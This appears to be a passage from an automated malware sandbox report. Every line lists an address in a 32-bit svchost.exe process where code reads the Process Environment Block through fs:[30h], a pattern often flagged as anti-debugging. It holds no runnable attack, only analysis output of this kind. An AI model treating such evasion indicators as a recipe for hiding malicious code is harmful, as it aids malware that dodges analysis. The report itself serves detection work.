Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AD4180 mov eax, dword ptr fs:[00000030h]	1_2_03AD4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB019F mov eax, dword ptr fs:[00000030h]	1_2_03AB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB019F mov eax, dword ptr fs:[00000030h]	1_2_03AB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB019F mov eax, dword ptr fs:[00000030h]	1_2_03AB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB019F mov eax, dword ptr fs:[00000030h]	1_2_03AB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A2A197 mov eax, dword ptr fs:[00000030h]	1_2_03A2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A2A197 mov eax, dword ptr fs:[00000030h]	1_2_03A2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A2A197 mov eax, dword ptr fs:[00000030h]	1_2_03A2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B061E5 mov eax, dword ptr fs:[00000030h]	1_2_03B061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A601F8 mov eax, dword ptr fs:[00000030h]	1_2_03A601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AF61C3 mov eax, dword ptr fs:[00000030h]	1_2_03AF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AF61C3 mov eax, dword ptr fs:[00000030h]	1_2_03AF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]	1_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]	1_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AAE1D0 mov ecx, dword ptr fs:[00000030h]	1_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]	1_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]	1_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A60124 mov eax, dword ptr fs:[00000030h]	1_2_03A60124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ADE10E mov eax, dword ptr fs:[00000030h]	1_2_03ADE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ADE10E mov ecx, dword ptr fs:[00000030h]	1_2_03ADE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ADE10E mov eax, dword ptr fs:[00000030h]	1_2_03ADE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ADE10E mov eax, dword ptr fs:[00000030h]	1_2_03ADE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ADE10E mov ecx, dword ptr fs:[00000030h]	1_2_03ADE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ADE10E mov eax, dword ptr fs:[00000030h]	1_2_03ADE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ADE10E mov eax, dword ptr fs:[00000030h]	1_2_03ADE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ADE10E mov ecx, dword ptr fs:[00000030h]	1_2_03ADE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ADE10E mov eax, dword ptr fs:[00000030h]	1_2_03ADE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ADE10E mov ecx, dword ptr fs:[00000030h]	1_2_03ADE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ADA118 mov ecx, dword ptr fs:[00000030h]	1_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ADA118 mov eax, dword ptr fs:[00000030h]	1_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ADA118 mov eax, dword ptr fs:[00000030h]	1_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ADA118 mov eax, dword ptr fs:[00000030h]	1_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AF0115 mov eax, dword ptr fs:[00000030h]	1_2_03AF0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B04164 mov eax, dword ptr fs:[00000030h]	1_2_03B04164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B04164 mov eax, dword ptr fs:[00000030h]	1_2_03B04164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AC4144 mov eax, dword ptr fs:[00000030h]	1_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AC4144 mov eax, dword ptr fs:[00000030h]	1_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AC4144 mov ecx, dword ptr fs:[00000030h]	1_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AC4144 mov eax, dword ptr fs:[00000030h]	1_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AC4144 mov eax, dword ptr fs:[00000030h]	1_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A2C156 mov eax, dword ptr fs:[00000030h]	1_2_03A2C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AC8158 mov eax, dword ptr fs:[00000030h]	1_2_03AC8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A36154 mov eax, dword ptr fs:[00000030h]	1_2_03A36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A36154 mov eax, dword ptr fs:[00000030h]	1_2_03A36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A280A0 mov eax, dword ptr fs:[00000030h]	1_2_03A280A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AC80A8 mov eax, dword ptr fs:[00000030h]	1_2_03AC80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AF60B8 mov eax, dword ptr fs:[00000030h]	1_2_03AF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AF60B8 mov ecx, dword ptr fs:[00000030h]	1_2_03AF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A3208A mov eax, dword ptr fs:[00000030h]	1_2_03A3208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A2A0E3 mov ecx, dword ptr fs:[00000030h]	1_2_03A2A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A380E9 mov eax, dword ptr fs:[00000030h]	1_2_03A380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB60E0 mov eax, dword ptr fs:[00000030h]	1_2_03AB60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A2C0F0 mov eax, dword ptr fs:[00000030h]	1_2_03A2C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A720F0 mov ecx, dword ptr fs:[00000030h]	1_2_03A720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB20DE mov eax, dword ptr fs:[00000030h]	1_2_03AB20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A2A020 mov eax, dword ptr fs:[00000030h]	1_2_03A2A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A2C020 mov eax, dword ptr fs:[00000030h]	1_2_03A2C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AC6030 mov eax, dword ptr fs:[00000030h]	1_2_03AC6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB4000 mov ecx, dword ptr fs:[00000030h]	1_2_03AB4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AD2000 mov eax, dword ptr fs:[00000030h]	1_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AD2000 mov eax, dword ptr fs:[00000030h]	1_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AD2000 mov eax, dword ptr fs:[00000030h]	1_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AD2000 mov eax, dword ptr fs:[00000030h]	1_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AD2000 mov eax, dword ptr fs:[00000030h]	1_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AD2000 mov eax, dword ptr fs:[00000030h]	1_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AD2000 mov eax, dword ptr fs:[00000030h]	1_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AD2000 mov eax, dword ptr fs:[00000030h]	1_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A4E016 mov eax, dword ptr fs:[00000030h]	1_2_03A4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A4E016 mov eax, dword ptr fs:[00000030h]	1_2_03A4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A4E016 mov eax, dword ptr fs:[00000030h]	1_2_03A4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A4E016 mov eax, dword ptr fs:[00000030h]	1_2_03A4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A5C073 mov eax, dword ptr fs:[00000030h]	1_2_03A5C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A32050 mov eax, dword ptr fs:[00000030h]	1_2_03A32050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB6050 mov eax, dword ptr fs:[00000030h]	1_2_03AB6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A307AF mov eax, dword ptr fs:[00000030h]	1_2_03A307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AE47A0 mov eax, dword ptr fs:[00000030h]	1_2_03AE47A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AD678E mov eax, dword ptr fs:[00000030h]	1_2_03AD678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A527ED mov eax, dword ptr fs:[00000030h]	1_2_03A527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A527ED mov eax, dword ptr fs:[00000030h]	1_2_03A527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A527ED mov eax, dword ptr fs:[00000030h]	1_2_03A527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ABE7E1 mov eax, dword ptr fs:[00000030h]	1_2_03ABE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A347FB mov eax, dword ptr fs:[00000030h]	1_2_03A347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A347FB mov eax, dword ptr fs:[00000030h]	1_2_03A347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A3C7C0 mov eax, dword ptr fs:[00000030h]	1_2_03A3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB07C3 mov eax, dword ptr fs:[00000030h]	1_2_03AB07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6C720 mov eax, dword ptr fs:[00000030h]	1_2_03A6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6C720 mov eax, dword ptr fs:[00000030h]	1_2_03A6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6273C mov eax, dword ptr fs:[00000030h]	1_2_03A6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6273C mov ecx, dword ptr fs:[00000030h]	1_2_03A6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6273C mov eax, dword ptr fs:[00000030h]	1_2_03A6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AAC730 mov eax, dword ptr fs:[00000030h]	1_2_03AAC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6C700 mov eax, dword ptr fs:[00000030h]	1_2_03A6C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A30710 mov eax, dword ptr fs:[00000030h]	1_2_03A30710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A60710 mov eax, dword ptr fs:[00000030h]	1_2_03A60710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A38770 mov eax, dword ptr fs:[00000030h]	1_2_03A38770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A40770 mov eax, dword ptr fs:[00000030h]	1_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A40770 mov eax, dword ptr fs:[00000030h]	1_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A40770 mov eax, dword ptr fs:[00000030h]	1_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A40770 mov eax, dword ptr fs:[00000030h]	1_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A40770 mov eax, dword ptr fs:[00000030h]	1_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A40770 mov eax, dword ptr fs:[00000030h]	1_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A40770 mov eax, dword ptr fs:[00000030h]	1_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A40770 mov eax, dword ptr fs:[00000030h]	1_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A40770 mov eax, dword ptr fs:[00000030h]	1_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A40770 mov eax, dword ptr fs:[00000030h]	1_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A40770 mov eax, dword ptr fs:[00000030h]	1_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A40770 mov eax, dword ptr fs:[00000030h]	1_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6674D mov esi, dword ptr fs:[00000030h]	1_2_03A6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6674D mov eax, dword ptr fs:[00000030h]	1_2_03A6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6674D mov eax, dword ptr fs:[00000030h]	1_2_03A6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A30750 mov eax, dword ptr fs:[00000030h]	1_2_03A30750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ABE75D mov eax, dword ptr fs:[00000030h]	1_2_03ABE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A72750 mov eax, dword ptr fs:[00000030h]	1_2_03A72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A72750 mov eax, dword ptr fs:[00000030h]	1_2_03A72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB4755 mov eax, dword ptr fs:[00000030h]	1_2_03AB4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6C6A6 mov eax, dword ptr fs:[00000030h]	1_2_03A6C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A666B0 mov eax, dword ptr fs:[00000030h]	1_2_03A666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A34690 mov eax, dword ptr fs:[00000030h]	1_2_03A34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A34690 mov eax, dword ptr fs:[00000030h]	1_2_03A34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AAE6F2 mov eax, dword ptr fs:[00000030h]	1_2_03AAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AAE6F2 mov eax, dword ptr fs:[00000030h]	1_2_03AAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AAE6F2 mov eax, dword ptr fs:[00000030h]	1_2_03AAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AAE6F2 mov eax, dword ptr fs:[00000030h]	1_2_03AAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB06F1 mov eax, dword ptr fs:[00000030h]	1_2_03AB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB06F1 mov eax, dword ptr fs:[00000030h]	1_2_03AB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6A6C7 mov ebx, dword ptr fs:[00000030h]	1_2_03A6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6A6C7 mov eax, dword ptr fs:[00000030h]	1_2_03A6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A4E627 mov eax, dword ptr fs:[00000030h]	1_2_03A4E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A66620 mov eax, dword ptr fs:[00000030h]	1_2_03A66620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A68620 mov eax, dword ptr fs:[00000030h]	1_2_03A68620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A3262C mov eax, dword ptr fs:[00000030h]	1_2_03A3262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AAE609 mov eax, dword ptr fs:[00000030h]	1_2_03AAE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A4260B mov eax, dword ptr fs:[00000030h]	1_2_03A4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A4260B mov eax, dword ptr fs:[00000030h]	1_2_03A4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A4260B mov eax, dword ptr fs:[00000030h]	1_2_03A4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A4260B mov eax, dword ptr fs:[00000030h]	1_2_03A4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A4260B mov eax, dword ptr fs:[00000030h]	1_2_03A4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A4260B mov eax, dword ptr fs:[00000030h]	1_2_03A4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A4260B mov eax, dword ptr fs:[00000030h]	1_2_03A4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A72619 mov eax, dword ptr fs:[00000030h]	1_2_03A72619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AF866E mov eax, dword ptr fs:[00000030h]	1_2_03AF866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AF866E mov eax, dword ptr fs:[00000030h]	1_2_03AF866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6A660 mov eax, dword ptr fs:[00000030h]	1_2_03A6A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6A660 mov eax, dword ptr fs:[00000030h]	1_2_03A6A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A62674 mov eax, dword ptr fs:[00000030h]	1_2_03A62674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A4C640 mov eax, dword ptr fs:[00000030h]	1_2_03A4C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB05A7 mov eax, dword ptr fs:[00000030h]	1_2_03AB05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB05A7 mov eax, dword ptr fs:[00000030h]	1_2_03AB05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB05A7 mov eax, dword ptr fs:[00000030h]	1_2_03AB05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A545B1 mov eax, dword ptr fs:[00000030h]	1_2_03A545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A545B1 mov eax, dword ptr fs:[00000030h]	1_2_03A545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A32582 mov eax, dword ptr fs:[00000030h]	1_2_03A32582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A32582 mov ecx, dword ptr fs:[00000030h]	1_2_03A32582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A64588 mov eax, dword ptr fs:[00000030h]	1_2_03A64588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6E59C mov eax, dword ptr fs:[00000030h]	1_2_03A6E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_03A5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_03A5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_03A5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_03A5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_03A5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_03A5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_03A5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_03A5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A325E0 mov eax, dword ptr fs:[00000030h]	1_2_03A325E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6C5ED mov eax, dword ptr fs:[00000030h]	1_2_03A6C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6C5ED mov eax, dword ptr fs:[00000030h]	1_2_03A6C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6E5CF mov eax, dword ptr fs:[00000030h]	1_2_03A6E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6E5CF mov eax, dword ptr fs:[00000030h]	1_2_03A6E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A365D0 mov eax, dword ptr fs:[00000030h]	1_2_03A365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6A5D0 mov eax, dword ptr fs:[00000030h]	1_2_03A6A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6A5D0 mov eax, dword ptr fs:[00000030h]	1_2_03A6A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A40535 mov eax, dword ptr fs:[00000030h]	1_2_03A40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A40535 mov eax, dword ptr fs:[00000030h]	1_2_03A40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A40535 mov eax, dword ptr fs:[00000030h]	1_2_03A40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A40535 mov eax, dword ptr fs:[00000030h]	1_2_03A40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A40535 mov eax, dword ptr fs:[00000030h]	1_2_03A40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A40535 mov eax, dword ptr fs:[00000030h]	1_2_03A40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A5E53E mov eax, dword ptr fs:[00000030h]	1_2_03A5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A5E53E mov eax, dword ptr fs:[00000030h]	1_2_03A5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A5E53E mov eax, dword ptr fs:[00000030h]	1_2_03A5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A5E53E mov eax, dword ptr fs:[00000030h]	1_2_03A5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A5E53E mov eax, dword ptr fs:[00000030h]	1_2_03A5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AC6500 mov eax, dword ptr fs:[00000030h]	1_2_03AC6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B04500 mov eax, dword ptr fs:[00000030h]	1_2_03B04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B04500 mov eax, dword ptr fs:[00000030h]	1_2_03B04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B04500 mov eax, dword ptr fs:[00000030h]	1_2_03B04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B04500 mov eax, dword ptr fs:[00000030h]	1_2_03B04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B04500 mov eax, dword ptr fs:[00000030h]	1_2_03B04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B04500 mov eax, dword ptr fs:[00000030h]	1_2_03B04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B04500 mov eax, dword ptr fs:[00000030h]	1_2_03B04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6656A mov eax, dword ptr fs:[00000030h]	1_2_03A6656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6656A mov eax, dword ptr fs:[00000030h]	1_2_03A6656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6656A mov eax, dword ptr fs:[00000030h]	1_2_03A6656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A38550 mov eax, dword ptr fs:[00000030h]	1_2_03A38550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A38550 mov eax, dword ptr fs:[00000030h]	1_2_03A38550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A364AB mov eax, dword ptr fs:[00000030h]	1_2_03A364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A644B0 mov ecx, dword ptr fs:[00000030h]	1_2_03A644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ABA4B0 mov eax, dword ptr fs:[00000030h]	1_2_03ABA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AEA49A mov eax, dword ptr fs:[00000030h]	1_2_03AEA49A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A304E5 mov ecx, dword ptr fs:[00000030h]	1_2_03A304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A2E420 mov eax, dword ptr fs:[00000030h]	1_2_03A2E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A2E420 mov eax, dword ptr fs:[00000030h]	1_2_03A2E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A2E420 mov eax, dword ptr fs:[00000030h]	1_2_03A2E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A2C427 mov eax, dword ptr fs:[00000030h]	1_2_03A2C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB6420 mov eax, dword ptr fs:[00000030h]	1_2_03AB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB6420 mov eax, dword ptr fs:[00000030h]	1_2_03AB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB6420 mov eax, dword ptr fs:[00000030h]	1_2_03AB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB6420 mov eax, dword ptr fs:[00000030h]	1_2_03AB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB6420 mov eax, dword ptr fs:[00000030h]	1_2_03AB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB6420 mov eax, dword ptr fs:[00000030h]	1_2_03AB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB6420 mov eax, dword ptr fs:[00000030h]	1_2_03AB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A68402 mov eax, dword ptr fs:[00000030h]	1_2_03A68402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A68402 mov eax, dword ptr fs:[00000030h]	1_2_03A68402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A68402 mov eax, dword ptr fs:[00000030h]	1_2_03A68402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ABC460 mov ecx, dword ptr fs:[00000030h]	1_2_03ABC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A5A470 mov eax, dword ptr fs:[00000030h]	1_2_03A5A470
